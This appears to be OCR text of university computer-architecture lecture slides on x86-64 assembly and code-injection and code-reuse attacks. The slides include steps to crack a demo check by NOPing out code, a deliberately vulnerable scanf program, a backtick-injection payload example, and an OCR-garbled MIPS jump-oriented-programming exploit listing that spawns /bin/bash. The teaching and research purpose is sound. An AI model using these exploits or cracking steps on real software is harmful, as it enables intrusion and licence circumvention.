ECE/CS 250 Computer Architecture

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Intel x86-64

Tyler Bletsch Duke University

Basic differences

64-bit x86 primer

- Registers:
	- General: rax rbx rcx rdx rdi rsi r8 r9 .. r15
	- Stack: rsp rbp
	- Instruction pointer: \mathbf{rip}
- Complex instruction set
	- Instructions are variable-sized & unaligned
- Hardware-supported call stack
	- call / ret
	- Parameters in registers $\{\text{rdi, rsi, rdx,}\}$ rcx, $r8$, $r9$, return value in rax
- Little-endian
- These slides use Intel-style assembly language (destination first)
	- GNU tools like gcc and objdump use AT&T syntax (destination last)

Intel x86 instruction format

Map of x86 instruction opcodes by first byte

x86 Opcode Structure and Instruction Overview

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Contact: Daniel Plohmann - +49 228 73 54 228 - daniel.plohmann@fkie.fraunhofer.de

Figure from Fraunhofer FKIE

Source: Intel x86 Instruction Set Reference Opcode table presentation inspired by work of Ange Albertini

Intel x86 general-purpose registers (64-bit, simplified)

Old-timey names from the 16-bit era

They didn't bother giving dumb names when they added more registers during the move to 64-bit.

Intel x86 registers (64-bit, complexified)

Includes general purpose registers, plus a bunch of special purpose ones (floating point, MMX, etc.)

Memory accesses

- Can be *anywhere*
	- No separate "load word" instruction almost any op can load/store!
- Location can be various *expressions* (not just "0(\$1)"):
	- [**disp** + <REG>***n**] ex: [0x123 + 2*rax]
	- \lceil <REG> + <REG>***n** \rceil ex: \lceil rbx + 4*rax \rceil
	- $\lceil \textbf{disp} + \text{REG} \rangle + \text{REG} \rangle^* \mathbf{n}$ and $\lceil \textbf{0x123} + \textbf{rbx} + \textbf{8*} \textbf{rax} \rceil$
- -
	- You get "0(\$1)" by doing $[0 + \text{tax}^*1]$, which you can write as $[\text{tax}]$
- All this handled in the MOD-R/M and SIB fields of instruction
- Imagine making the control unit for these instructions

MIPS/x86 Rosetta Stone

Stuff that doesn't translate…

List of all x86 instructions

Exploring a compiled x86 program

- Introducing hello.c
	- **cat hello.c**
- Compile to assembly language (and down to executable)

• **make**

- **gcc -g -S -o hello.s hello.c**
- **gcc -g -o hello hello.c**
- View assembly language output
	- **cat hello.s**
- Disassemble binary to see compiled instructions
	- **objdump -d hello**
- Analyze **hello** using IDA Freeware

They're gonna try to sell you the paid version of IDA Pro, but the older free version [available here](https://hex-rays.com/ida-free/#download) works just fine.

CAN WE USE THIS TO CRACK COMPILED SOFTWARE????

DRAMATIC PAUSE

Please fill out the course survey

Binary modification

- Introducing supercalc
	- **./supercalc**
	- **./supercalc 2 3**
	- **./supercalc 2 10**
- Disassemble binary
	- **objdump -d supercalc**
- Analyze **supercalc** using IDA Pro
- Find the demo check code in IDA
- Identify **sections** of executable
	- **./objdump -h supercalc**
- Find the code we care about in the binary file via hex editor
- Flatten all the check code into NOPs
- Disassemble, analyze, and test hacked binary

Diving into code injection and reuse attacks (not on exam)

Some slides originally by Anthony Wood, University of Virginia, for CS 851/551 (http://www.cs.virginia.edu/crab/injection.ppt**)**

Adapted by Tyler Bletsch, Duke University

What is a Buffer Overflow?

- Intent
	- Arbitrary code execution
		- Spawn a remote shell or infect with worm/virus
	- Denial of service
- Steps
	- Inject attack code into buffer
	- Redirect control flow to attack code
	- Execute attack code

Attack Possibilities

- Targets
	- Stack, heap, static area
	- Parameter modification (non-pointer data)
		- E.g., change parameters for existing call to $exec()$
- Injected code vs. existing code
- Absolute vs. relative address dependencies
- Related Attacks
	- Integer overflows, double-frees
	- Format-string attacks

Typical Address Space

From Dawn Song's RISE: http://research.microsoft.com/projects/SWSecInstitute/slides/Song.ppt

Examples

- (In)famous: Morris worm (1988)
	- gets() in fingerd
- Code Red (2001)
	- MS IIS .ida vulnerability
- Blaster (2003)
	- MS DCOM RPC vulnerability
- Mplayer URL heap allocation (2004)
	- % mplayer http://`perl -e 'print "\""x1024;'`

Demo

cool.c

```
#include <stdlib.h>
#include <stdio.h>
int main() {
     char name[1024];
     printf("What is your name? ");
     scanf("%s",name);
     printf("%s is cool.\n", name);
     return 0;
}
```
Demo – normal execution

Demo – exploit

How to write attacks

- Use NASM, an assembler:
	- Great for machine code and specifying data fields

Attack code trickery

- Where to put strings? No data area!
- You often can't use certain bytes
	- Overflowing a string copy? No nulls!
	- Overflowing a scanf %s? No whitespace!
- Answer: use code!
- Example: make "ebx" point to string "hi folks": **push "olks" ; 0x736b6c6f="olks" mov ebx, -"hi f" ; 0x99df9698 neg ebx ; 0x66206968="hi f" push ebx**

mov ebx, esp

Note: this example was made on x86 32-bit, hence the 32-bit registers and constants.

Preventing Buffer Overflows

- Strategies
	- Detect and remove vulnerabilities (best)
	- Prevent code injection
	- Detect code injection
	- Prevent code execution
- Stages of intervention
	- Analyzing and compiling code
	- Linking objects into executable
	- Loading executable into memory
	- Running executable

Preventing Buffer Overflows

- Research projects
	- Splint Check array bounds and pointers
	- RAD check RA against copy
	- PointGuard encrypt pointers
	- Liang et al. Randomize system call numbers
	- RISE Randomize instruction set
- Generally available techniques
	- Stackguard put canary before RA
	- Libsafe replace vulnerable library functions
	- Binary diversity change code to slow worm propagation
- Generally deployed techniques
	- NX bit & W^X protection
	- Address Space Layout Randomization (ASLR)

W^X and ASLR

Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:

Negating ASLR

- ASLR is a probabilistic approach, merely increases attacker's expected work
	- Each failed attempt results in crash; at restart, randomization is different
- Counters:
	- Information leakage
		- Program reveals a pointer? Game over.
	- Derandomization attack [1]
		- Just keep trying!
		- 32-bit ASLR defeated in 216 seconds

Negating W^X

• Question: do we need malicious **code** to have malicious **behavior**? **No.**

Code injection Code reuse (!)

"Return-into-libc" attack

Return-into-libc

- Return-into-libc attack
	- Execute entire libc functions
	- Can chain using "esp lifters"
	- Attacker may:
		- Use system/exec to run a shell
		- Use mprotect/mmap to disable W^X
		- Anything else you can do with libc
	- Straight-line code only?
		- Shown to be false by us, but that's another talk...

Arbitrary behavior with W^X?

- Question: do we need malicious **code** to have **arbitrary** malicious **behavior**? **No.**
- **Return-oriented programming (ROP)**
- Chain together **gadgets**: tiny snippets of code ending in ret
- Achieves Turing completeness
- Demonstrated on x86, SPARC, ARM, z80, ...
	- Including on a deployed voting machine, which has a non-modifiable ROM

Return-oriented programming (ROP)

• Normal software:

• Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.

Some common ROP operations

• Loading constants

• Arithmetic

• Control flow

• Memory mov rbx, [rax] ; ret stack pointer 0x8070abcd (address) pop rax ; ret

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.

Bringing it all together

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham

Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
	- ROPdefender^[1] and others: maintain a shadow stack
	- DROP^[2] and DynIMA^[3]: detect high frequency rests
	- Returnless^[4]: Systematically eliminate all rests
- **So now we're totally safe forever, right?**
- **No: code-reuse attacks need not be limited to the stack and ret!**
	- See "Jump-oriented programming: a new class of code-reuse attack" by Bletsch et al. (covered in this deck if you're curious)

BACKUP SLIDES (not on exam)

Jump-oriented Programming

Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
	- ROPdefender^[1] and others: maintain a shadow stack
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	- Returnless^[4]: Systematically eliminate all rets
- **So now we're totally safe forever, right?**
- **No: code-reuse attacks need not be limited to the stack and ret!**
	- **My research follows...**

Jump-oriented programming (JOP)

- Instead of ret , use indirect jumps, e.g., $\exists mp \; eax$
- How to maintain control flow?

The dispatcher in depth

- Dispatcher gadget implements: $pc = f(\rho c)$ goto $*\rho c$
- **f** can be anything that evolves pc predictably
	- Arithmetic: $f(\rho c) = \rho c + 4$
	- Memory based: $f(\rho c) = * (\rho c + 4)$

Availability of indirect jumps (1)

- Can use $\frac{1}{2}$ or call (don't care about the stack)
- When would we expect to see indirect jumps?
	- Function pointers, some switch/case blocks, ...?
- That's not many...

Availability of indirect jumps (2)

- However: x86 instructions are **unaligned**
- We can find **unintended** code by jumping into the middle of a regular instruction!

Finding gadgets

- • Cannot use traditional disassembly,
	- Instead, as in ROP, scan & walk backwards
	- We find 31,136 potential gadgets in libc!
- Apply heuristics to find certain kinds of gadget
- Pick one that meets these requirements:
	- **Internal integrity**:
		- Gadget must not destroy its own jump target.
	- **Composability**:
		- Gadgets must not destroy subsequent gadgets' jump targets.

Finding dispatcher gadgets

• Dispatcher heuristic:

pc = **f**(*pc*) goto **pc*

- The gadget must act upon its own jump target register
- Opcode can't be useless, e.g.: inc, xchq, xor, etc.
- Opcodes that overwrite the register (e.g. mov) instead of modifying it (e.g. add) must be self-referential
	- lea edx, [eax+ebx] isn't going to advance anything
	- lea edx, [edx+esi] could work
- Find a dispatcher that uses uncommon registers **add ebp, edi jmp [ebp-0x39]**
- Functional gadgets found with similar heuristics

Developing a practical attack

- Built on Debian Linux 5.0.4 32-bit x86
	- Relies solely on the included libc
- Availability of gadgets (31,136 total): **PLENTY**
	- **Dispatcher**: 35 candidates
	- **Load constant**: 60 pop gadgets
	- **Math/logic**: 221 add, 129 sub, 112 or, 1191 xor, etc.
	- **Memory**: 150 mov loaders, 33 mov storers (and more)
	- **Conditional branch**: 333 short adc/sbb gadgets
	- **Syscall**: multiple gadget sequences

The vulnerable program

• Vulnerabilities

- String overflow
- Other buffer overflow
- String format bug
- Targets
	- Return address
	- Function pointer
	- C++ Vtable
	- Setjmp buffer
		- Used for non-local gotos
		- Sets several registers, including esp and eip

The exploit code (high level)

- Shellcode: launches /bin/bash
- Constructed in NASM (data declarations only)
- 10 gadgets which will:
	- Write null bytes into the attack buffer where needed
	- Prepare and execute an execve syscall
- Get a shell without exploiting a single ret :

The full exploit (1)

Constants

Immediate values on the stack

The full exploit (2)

Discussion

- Can we automate building of JOP attacks?
	- Must solve problem of complex interdependencies between gadget requirements
- Is this attack applicable to non-x86 platforms?
- What defense measures can be developed which counter this attack? A: *Yes*

The MIPS architecture

- MIPS: very different from x86
	- Fixed size, aligned instructions
		- No unintended code!
	- Position-independent code via indirect jumps
	- Delay slots
		- Instruction after a jump will always be executed

• **We can deploy JOP on MIPS!**

- Use intended indirect jumps
	- Functionality bolstered by the effects of delay slots
- Supports hypothesis that JOP is a *general* threat

MIPS exploit code (high level overview)

- Shellcode: launches /bin/bash
- Constructed in NASM (data declarations only)
- 6 gadgets which will:
	- Insert a null-containing value into the attack buffer
	- Prepare and execute an execve syscall
- Get a shell without exploiting a single $\forall r \in \mathbb{R}$:

MIPS full exploit code (1)

```
: ===== CONSTANTS =====
2 %define libc 6x2aada000 ; Base address of libc in memory.
s calling disparance intervention of the program's buffer size before the function pointer.
7 % define to\_null 1ibc+0x8 ; Points to a null word (0x00000000).
8 % define gp = 0x4189d0 ; Value of the gp register.
 9
  : ===== GADGET MACHINE CODE =====
10<sup>°</sup>11
12
  ; | Initializer/pre-syscall gadget | Dispatcher gadget | Syscall gadget | Gadget "g04"
13
14
  ; | 1w v0, 44 (sp)
                                | addu v0, a0, v0 | syscall
                                                              | sw a1, 44(sp); 1w t9,32(sp)
                                 | 1w v1,0(v0) | 1w t9,-27508(gp) | sw zero,24(sp) |
15
                                                          | sw zero, 28 (sp)
16
  ; 1 1w a0, 128 (sp)
                                                  | nop
                                 nop and the state of the state o
                              addu v1, v1, gp | jalr t9
17 ; | 1w a1, 132 (sp)
                                                                    | addiu al, sp, 44
18 ; | 1w a2, 136(sp)|\text{ir } v1 |\text{li } a0,60l jalr t9
19 ; | sw v0, 16 (sp)
                                                                      | addiu a3, sp, 24
                                 | nop
20 ; \vert jalr t9
21:1 move a3, s822
23
24 : ==== ATTACK DATA =====
25 ; Data for the initializer gadget. We want 32 (sp) to refer to the value below, but sp
26 ; points 24 bytes before the start of this buffer, so we start with some padding.
27 times 32-24 db 'x'
28 dd dispatcher ; sp+32 Sets t9 - Dispatcher gadget address (see table above for machine code)
29 times 44-36 db 'x' ; sp+36 (padding)
30 dd base + q start ; sp+44 Sets v0 - offset
31 times 128-48 db 'x' ; sp+48 (padding)
32 dd -4 ; sp+128 Sets a0 - delta
dd Oxaaaaaaaa ( sp+136 Sets a2
34
35
36 dd Oxaaaaaaaa : ; sp+140 (padding, since we can only advance $sp by multiples of 8)
37
```
MIPS full exploit code (2)

```
; Data for the pre-syscall gadget (same as the initializer gadget). By now, sp has
38
  ; been advanced by 112 bytes, so it points 32 bytes before this point.
39.
40 dd libc+0x26194 ; sp+32 Sets t9 - Syscall gadget address (see table above for machine code)
41 times 44-36 db 'x' ; sp+36 (padding)
                      ; sp+44 Sets v0 (overwritten with the syscall number by gadgets g02-g04)
42 dd 0xdededede
43 times 80-48 db 'x' ; sp+48 (padding)
44 dd -4011
            ; sp+80 The syscall number for "execve", negated.
45 times 128-84 db 'x' ; sp+84 (padding)
46 dd base+shell path ; sp+128 Sets a0
47 dd to_null : ; sp+132 Sets al<br>48 dd to null : ; sp+136 Sets a2
49
50 ; ==== DISPATCH TABLE ====51
  ; The dispatch table is in reverse order
52 q05: dd libc-qp+0x103d0c ; Pre-syscall qadqet (same as initializer, see table for machine code)
53
  q04: dd libc-qp+0x34b8c ; Gadget "q04" (see table above for machine code)
54 q03: dd libc-qp+0x7deb0 ; Gadget: jalr t9 ; nequ a1, s2
55 q02: dd libc-qp+0x6636c ; Gadqet: lw s2,80(sp) ; jalr t9 ; move s6,a3
56 q01: dd libc-qp+0x13d394 ; Gadget: jr t9 ; addiu sp,sp,16
57 q00: dd libc-qp+0xcblac ; Gadget: jr t9 ; addiu sp,sp, 96
58
  q start: ; Start of the dispatch table, which is in reverse order.
59
60
   : ===== OVERFLOW PADDING =====
   times buffer length - (5-5) db 'x' ; Pad to the end of the legal buffer
61
62
63
  : ===== FUNCTION POINTER OVERFLOW =====
   dd initializer
64
65
66
  shell path: db "/bin/bash"
67
68 db 0 ; End in NULL to finish the string overflow
```
References

- [1] L. Davi, A.-R. Sadeghi, and M. Winandy. ROPdefender: A detection tool to defend against return-oriented programming attacks. Technical Report HGI-TR-2010-001, Horst Gortz Institute for IT Security, March 2010.
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- [6] S. Checkoway, L. Davi, A. Dmitrienko, A.-R. Sadeghi, H. Shacham, and M. Winandy. Return-Oriented Programming Without Returns. In 17th ACM CCS, October 2010.